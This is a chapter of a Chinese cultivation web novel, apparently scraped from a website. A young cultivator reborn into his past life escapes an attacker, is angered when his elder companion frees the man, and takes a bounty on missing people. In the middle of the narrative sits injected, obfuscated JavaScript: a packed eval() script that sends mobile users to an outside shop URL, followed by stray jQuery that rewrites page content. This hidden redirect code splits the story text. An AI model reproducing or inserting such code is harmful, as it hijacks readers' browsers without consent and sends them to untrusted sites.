裴易安趁着这个间隙也向后闪了几步,他怔怔地望着自己颈间。
是师姐给他的护身符。
前世,师姐死在揽月剑宗宗主岳行舟的手中之后,这枚护身符便失去了效力。
如今他死而复生,这枚本该被云扶风夺走的护身符也失而复得,阴差阳错之下,竟然又救了他一命。
惊喜之余,他不禁生出浓烈的愧意。
是他害死了师姐。
正因为这一瞬的怔愣,他没能捕捉到陆允眼里一闪而过的惊愕,以及缓缓放下的正打算掐诀的手。
待到裴易安再望向陆允时,此人神色早已恢复如常。
可如今的萧潇也不过筑基,那护身符也只是阻挡了灰衣修士一瞬。
灰衣修士意识到裴易安身上的护身符不足为惧后,错了身位,将手弯成爪形,又向裴易安心口掏去。
好在虽然身体素质跟不上,但前世丰富的战斗经验还是让裴易安在最短的时间内做出反应,堪堪躲过了这一爪。
自古以来,修真界弱肉强食。
裴易安活了数百年,见惯了生死,自以为早已将生死置之度外。
可此刻,强烈的恐惧漫上来。
他不能死,老天爷给了他重来一次的机会,绝不能这样草草地结束。
裴易安猛地将头转向陆允,忍痛咬牙激他:“陆前辈,晚辈二人是奉命为您领路,您当真要对我二人不管不顾不成?”
陆允负手而立,仿佛没有听见一般,看不出半分反应。
灰衣修士冷笑:“他身上都没有什么灵力波动,还能救你们——”
话音未落,那灰衣修士便感觉背后生出一股寒意,下意识地向后望去,才望见陆允不知何时竟然已经祭出法宝。
那柄华光闪闪的玉尺一看就不是凡物,裴易安定睛看去,这法宝至少也是六品以上的法宝。
那灰衣修士毕竟是伪造法宝的老手,向来也是识货的,见到这法宝脸色变了几变,还没来得及反应,便被这柄玉尺狠狠抽在腰臀之间。
一声脆响伴随着一声凄厉的惨叫,周身的威压瞬间消失,裴易安终于松了口气。
“前辈、前辈饶命!啊——前辈饶命……”灰衣修士被那玉尺抽得涕泪横流,嗷嗷乱窜。
玉尺却没有放过灰衣修士的意思,猫捉老鼠般的戏弄着他。
甚至刻意不取他性命,只往屁股上抽,直抽得灰衣修士仓皇逃窜。
齐肆倒是出了一口恶气,趁乱往那灰衣修士身上啐了一口。
裴易安的嘴角抽了抽,瞥了一眼宛若面瘫一般面不改色的陆允,就仿佛催动法宝的不是他一般。
这人竟然还有这样的癖好?
眼见那灰衣修士终于想起催动法宝逃走,陆允扬了扬袖子,一条捆仙索自他手中飞出,将那灰衣修士捆了个严严实实。
“多谢前辈。”裴易安违心地俯身道了声谢。
齐肆这才后知后觉地想起道谢,他似乎完全不介意陆允等到他们要死了才出手,道谢的态度比裴易安诚恳得多。
陆允这才缓步走到裴易安身侧:“裴小友这下可解气了?”
裴易安干笑两声,没有回应陆允这句话。
他忽视了灰衣修士求爷爷告奶奶的求饶,现在危机平定,冷静下来回想,裴易安却觉得脊背一阵发凉。
虽然不知这灰衣修士用的是什么功法,但只看那阴毒的气息,裴易安便能断定,此人用的定是邪功。
他心中忽然升起一阵不妙的预感,一个箭步冲到抖若筛糠的灰衣修士面前,扯住那人的领子,恶狠狠地质问:“你知不知道那巷子里的人去哪了?”
“我怎么知——”话音未落,便见裴易安不知从哪掏出了一柄下品短刀,抵在他的喉咙上。
“不说我便送你去见阎王!”那短刀又往灰衣修士的肉里逼近一寸。
纵使是下品法宝,终究不是凡物,更何况那灰衣修士又被捆仙索锁住了灵力,利刃浅浅地割进肉里,鲜血滑落,登时染红了衣襟。
“小友、小友饶命!”灰衣修士见裴易安要动真格的,再不敢嘴硬,“哎呦~我真不知道!最近万宝城中邪修猖獗,想来是让邪修抓去了……”
眼见着裴易安的脸色愈发地差,他脸上的惊惧之色更甚:“我、我真不知道,那日我只看见几个模糊的影子往巷子里去了,后来那帮小鬼就消失了……”
裴易安冷嗤:“我不信你只听到这点风声。”
灰衣修士却连连告饶:“您若是不信,可以去城主府打探,悬赏的告示现在还在告示板上挂着呢。”
齐肆见裴易安与那人僵持着,没有半分放下刀的意思,上前扯了扯裴易安的袖子,低声问道:“师弟,天色不早,你要去城主府?”
裴易安死死抿着唇。
他大概是在场之人中最年长的,早已是老油条了。
灰衣修士的话他半分都不信,刚要开口继续追问,便被陆允一把扯至身侧。
“得饶人处且饶人。”陆允的语气依旧淡淡的,裴易安刚想开口提醒陆允这人是邪修,陆允两根手指点了一下灰衣修士的肩膀,松了捆仙索,“滚吧。”
就连齐肆都没有意料到陆允会直接放人,赶紧劝了一句:“陆长老,您干嘛放他走,他刚还要杀我们呢!”
灰衣修士先是后退了两步,看陆允没有追的意思,生怕陆允反悔一般二话不说便掐起法诀迅速遁走。
“等一下!”裴易安急忙去追,却被陆允扯住袖子。
他总算忍无可忍朝着陆允发了火:“陆前辈,你为何如此是非不辨,竟然放他离开?”
陆允却将他的愤怒视若无睹,这让他感觉自己一拳打在了棉花上,气得他再顾不得什么礼数,直呼其名:“陆允!”
陆允瞥了他一眼,难得地勾起一抹笑容,毫不客气地抬手拍了拍他的头:“生气伤身,裴小友,与其在这里浪费时间,倒不如先去城主府看看。”
裴易安身高七尺八寸,早就不是个任人磋磨的孩童,陆允此举同羞辱他没什么分别。
齐肆眼见着裴易安的脸由白转红,气得几乎要跳脚,赶紧拉住裴易安:“师弟,冷静、冷静!”
裴易安并没有去什么城主府的心思,就算用脚指头想也知道,巷子里流浪儿的失踪和那灰衣修士脱不开干系。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715684|208516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可凭他现在的修为,甚至连阻拦陆允都做不到。
他暗暗握紧拳头,若是他能变得更强一点……
可前世齐肆右臂被砍断时那血淋淋的画面忽然浮现在他面前,惊得他生出了一身冷汗。
他缓缓放开了手,挫败感油然而生。
变强的代价他承受不起,庸庸碌碌活完这一世也没什么不好。
眼见着裴易安站在原地一动不动,陆允向后瞥了一眼,轻声道:“放心,此事我会帮你。”
说罢,他两指掐诀唤出灵剑,一把将裴易安拽上来,御剑直奔城主府而去。
上了灵剑,呼啸而过的冷风吹在脸上,裴易安的脑子也清醒了些许。
虽然他不知道陆允究竟是什么境界修为,但至少也有金丹末期以上,不大可能看不出来那灰衣修士用的是邪功。
好歹这陆允也是正道修士,不大可能会对邪修大发善心,此人定有别的考量。
裴易安死死盯着陆允白衣上的暗纹,冷哼一声。
他倒要看看,这人究竟在打什么算盘。
*
万宝城的城主府就位于城市中心。
在城主府之中,灰衣修士口中的告示板十分显眼。
倒不是因为这告示板造型多么奇特、装潢多么亮眼。
仅仅是因为告示牌附近实在是围了太多的人,密不透风。
看陆允那副清高的架子,自然不可能往人群里去挤。
裴易安叹了口气,认命地拨开人群,硬着头皮挤了进去,期间还不知被谁踩了两脚,靴子上留下了两个明晃晃的鞋印。
好不容易挤进前排,他丝毫顾不得痛,目光仔细扫过告示板上密密麻麻的委托,终于在角落里找到了灰衣修士口中所说的悬赏。
他将悬赏揭下,一把拍在管事的桌子上:“我要接这个悬赏。”
那管事是个中年男人,先是扫了一眼悬赏单上的文字,又掀起眼皮瞧了裴易安一眼,便公事公办地往悬赏单上盖了章:“期限七天,逾期完成没有报酬。”
“知道了。”裴易安一把将悬赏单扯回来。
看这管事的模样,似乎完全不在意这个悬赏。
裴易安转念一想又觉得合理,以那悬赏单所述,万宝城中不过失踪了一些凡人和低阶修士。
蝼蚁的命嘛,在这修真界向来都不值钱。
城主府只需要给出一个态度罢了,这悬赏单的报酬只有少得可怜的灵石和仅仅两枚金丹妖兽的妖丹就是证据。
齐肆瞄了一眼外面的天色,一脸的忐忑:“这个时辰还不回宗,怕是要挨师尊的训斥。”
裴易安却不以为意:“总归是要挨训斥的,多一次少一次有什么分别?”
不等齐肆反应过来他这话是什么意思,他便来到一直候在一旁的陆允面前,将悬赏单在陆允眼前抖开。
“陆前辈,方才你放虎归山,现在晚辈倒要看看,你有什么法子在偌大的万宝城中捕风捉影,抓到这些邪修。”
陆允听见他的质问,非但不恼,反倒像是听见了什么好笑的东西,露出笑意:“裴小友莫不是忘了,有种基础法术叫神识追踪?”